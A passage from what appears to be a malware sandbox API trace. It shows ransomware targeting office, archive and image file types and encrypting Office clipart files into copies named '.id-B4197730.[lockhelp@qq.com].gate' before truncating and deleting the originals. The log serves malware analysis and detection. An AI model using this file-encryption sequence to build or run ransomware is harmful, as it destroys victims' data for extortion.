(lpString=".docx") returned 5 [0282.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.252] lstrlenW (lpString=".pdf") returned 4 [0282.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.252] lstrlenW (lpString=".xls") returned 4 [0282.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.252] lstrlenW (lpString=".xlsx") returned 5 [0282.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.252] lstrlenW (lpString=".ppt") returned 4 [0282.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.252] lstrlenW (lpString=".zip") returned 4 [0282.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.252] lstrlenW (lpString=".rar") returned 4 [0282.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString=".bz2") returned 4 [0282.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString=".7z") returned 3 [0282.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.253] lstrlenW (lpString=".dbf") returned 4 [0282.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.253] lstrlenW (lpString=".1cd") returned 4 [0282.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.253] lstrlenW (lpString=".jpg") returned 4 [0282.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.253] lstrlenW (lpString=".doc") returned 4 [0282.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString=".docx") returned 5 [0282.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.253] lstrlenW (lpString=".pdf") returned 4 [0282.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString=".xls") returned 4 [0282.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.253] lstrlenW (lpString=".xlsx") returned 5 [0282.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.253] lstrlenW (lpString=".ppt") returned 4 [0282.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.253] lstrlenW (lpString=".zip") returned 4 [0282.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.253] lstrlenW (lpString=".rar") returned 4 [0282.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.253] lstrlenW (lpString=".bz2") returned 4 [0282.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.254] lstrlenW (lpString=".7z") returned 3 [0282.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.254] lstrlenW (lpString=".dbf") returned 4 [0282.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.254] lstrlenW (lpString=".1cd") returned 4 [0282.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0282.254] lstrlenW (lpString=".jpg") returned 4 [0282.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.254] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.254] lstrlenW (lpString="AN04332_.WMF") returned 12 [0282.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.254] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4296) returned 1 [0282.255] CloseHandle (hObject=0x414) returned 1 [0282.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0282.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.255] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.255] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.256] GetLastError () returned 0x0 [0282.256] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0282.549] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0282.550] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.550] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.550] SetEndOfFile (hFile=0x4b4) returned 1 [0282.550] CloseHandle (hObject=0x4b4) returned 1 [0282.553] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.554] SetEndOfFile (hFile=0x414) returned 1 [0282.558] CloseHandle (hObject=0x414) returned 1 [0282.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0282.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.562] lstrlenW (lpString=".doc") returned 4 [0282.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString=".docx") returned 5 [0282.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.562] lstrlenW (lpString=".pdf") returned 4 [0282.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString=".xls") returned 4 [0282.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.562] lstrlenW (lpString=".xlsx") returned 5 [0282.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.562] lstrlenW (lpString=".ppt") returned 4 [0282.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.562] lstrlenW (lpString=".zip") returned 4 [0282.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.562] lstrlenW (lpString=".rar") returned 4 [0282.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString=".bz2") returned 4 [0282.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString=".7z") returned 3 [0282.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.562] lstrlenW (lpString=".dbf") returned 4 [0282.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.562] lstrlenW (lpString=".1cd") returned 4 [0282.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.562] lstrlenW (lpString=".jpg") returned 4 [0282.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.563] lstrlenW (lpString=".doc") returned 4 [0282.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString=".docx") returned 5 [0282.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.563] lstrlenW (lpString=".pdf") returned 4 [0282.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString=".xls") returned 4 [0282.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.563] lstrlenW (lpString=".xlsx") returned 5 [0282.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.563] lstrlenW (lpString=".ppt") returned 4 [0282.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.563] lstrlenW (lpString=".zip") returned 4 [0282.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.563] lstrlenW (lpString=".rar") returned 4 [0282.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString=".bz2") returned 4 [0282.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString=".7z") returned 3 [0282.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.563] lstrlenW (lpString=".dbf") returned 4 [0282.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.563] lstrlenW (lpString=".1cd") returned 4 [0282.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0282.563] lstrlenW (lpString=".jpg") returned 4 [0282.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.564] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.564] lstrlenW (lpString="BD00141_.WMF") returned 12 [0282.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.564] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26886) returned 1 [0282.564] CloseHandle (hObject=0x414) returned 1 [0282.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0282.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.565] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.565] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.566] GetLastError () returned 0x0 [0282.566] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x6906, lpOverlapped=0x0) returned 1 [0282.701] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x6910, lpOverlapped=0x0) returned 1 [0282.702] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.702] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.702] SetEndOfFile (hFile=0x4a4) returned 1 [0282.702] CloseHandle (hObject=0x4a4) returned 1 [0282.703] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.703] SetEndOfFile (hFile=0x414) returned 1 [0282.707] CloseHandle (hObject=0x414) returned 1 [0282.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0282.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.708] lstrlenW (lpString=".doc") returned 4 [0282.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString=".docx") returned 5 [0282.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.708] lstrlenW (lpString=".pdf") returned 4 [0282.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString=".xls") returned 4 [0282.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.708] lstrlenW (lpString=".xlsx") returned 5 [0282.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.708] lstrlenW (lpString=".ppt") returned 4 [0282.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.708] lstrlenW (lpString=".zip") returned 4 [0282.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.708] lstrlenW (lpString=".rar") returned 4 [0282.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString=".bz2") returned 4 [0282.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString=".7z") returned 3 [0282.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.708] lstrlenW (lpString=".dbf") returned 4 [0282.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.708] lstrlenW (lpString=".1cd") returned 4 [0282.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString=".jpg") returned 4 [0282.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString=".doc") returned 4 [0282.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString=".docx") returned 5 [0282.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.709] lstrlenW (lpString=".pdf") returned 4 [0282.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString=".xls") returned 4 [0282.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.709] lstrlenW (lpString=".xlsx") returned 5 [0282.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.709] lstrlenW (lpString=".ppt") returned 4 [0282.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString=".zip") returned 4 [0282.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.709] lstrlenW (lpString=".rar") returned 4 [0282.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString=".bz2") returned 4 [0282.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString=".7z") returned 3 [0282.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString=".dbf") returned 4 [0282.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString=".1cd") returned 4 [0282.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0282.709] lstrlenW (lpString=".jpg") returned 4 [0282.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.710] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.710] lstrlenW (lpString="BD00173_.WMF") returned 12 [0282.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.710] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=16180) returned 1 [0282.710] CloseHandle (hObject=0x414) returned 1 [0282.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0282.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.711] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.711] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.711] GetLastError () returned 0x0 [0282.711] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3f34, lpOverlapped=0x0) returned 1 [0282.915] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3f40, lpOverlapped=0x0) returned 1 [0282.916] ReadFile (in: hFile=0x414, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.916] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.917] SetEndOfFile (hFile=0x4a4) returned 1 [0282.917] CloseHandle (hObject=0x4a4) returned 1 [0282.918] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.918] SetEndOfFile (hFile=0x414) returned 1 [0282.920] CloseHandle (hObject=0x414) returned 1 [0282.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0282.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0282.921] lstrlenW (lpString=".doc") returned 4 [0282.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.921] lstrlenW (lpString=".docx") returned 5 [0282.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.921] lstrlenW (lpString=".pdf") returned 4 [0282.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.921] lstrlenW (lpString=".xls") returned 4 [0282.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.921] lstrlenW (lpString=".xlsx") returned 5 [0282.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.921] lstrlenW 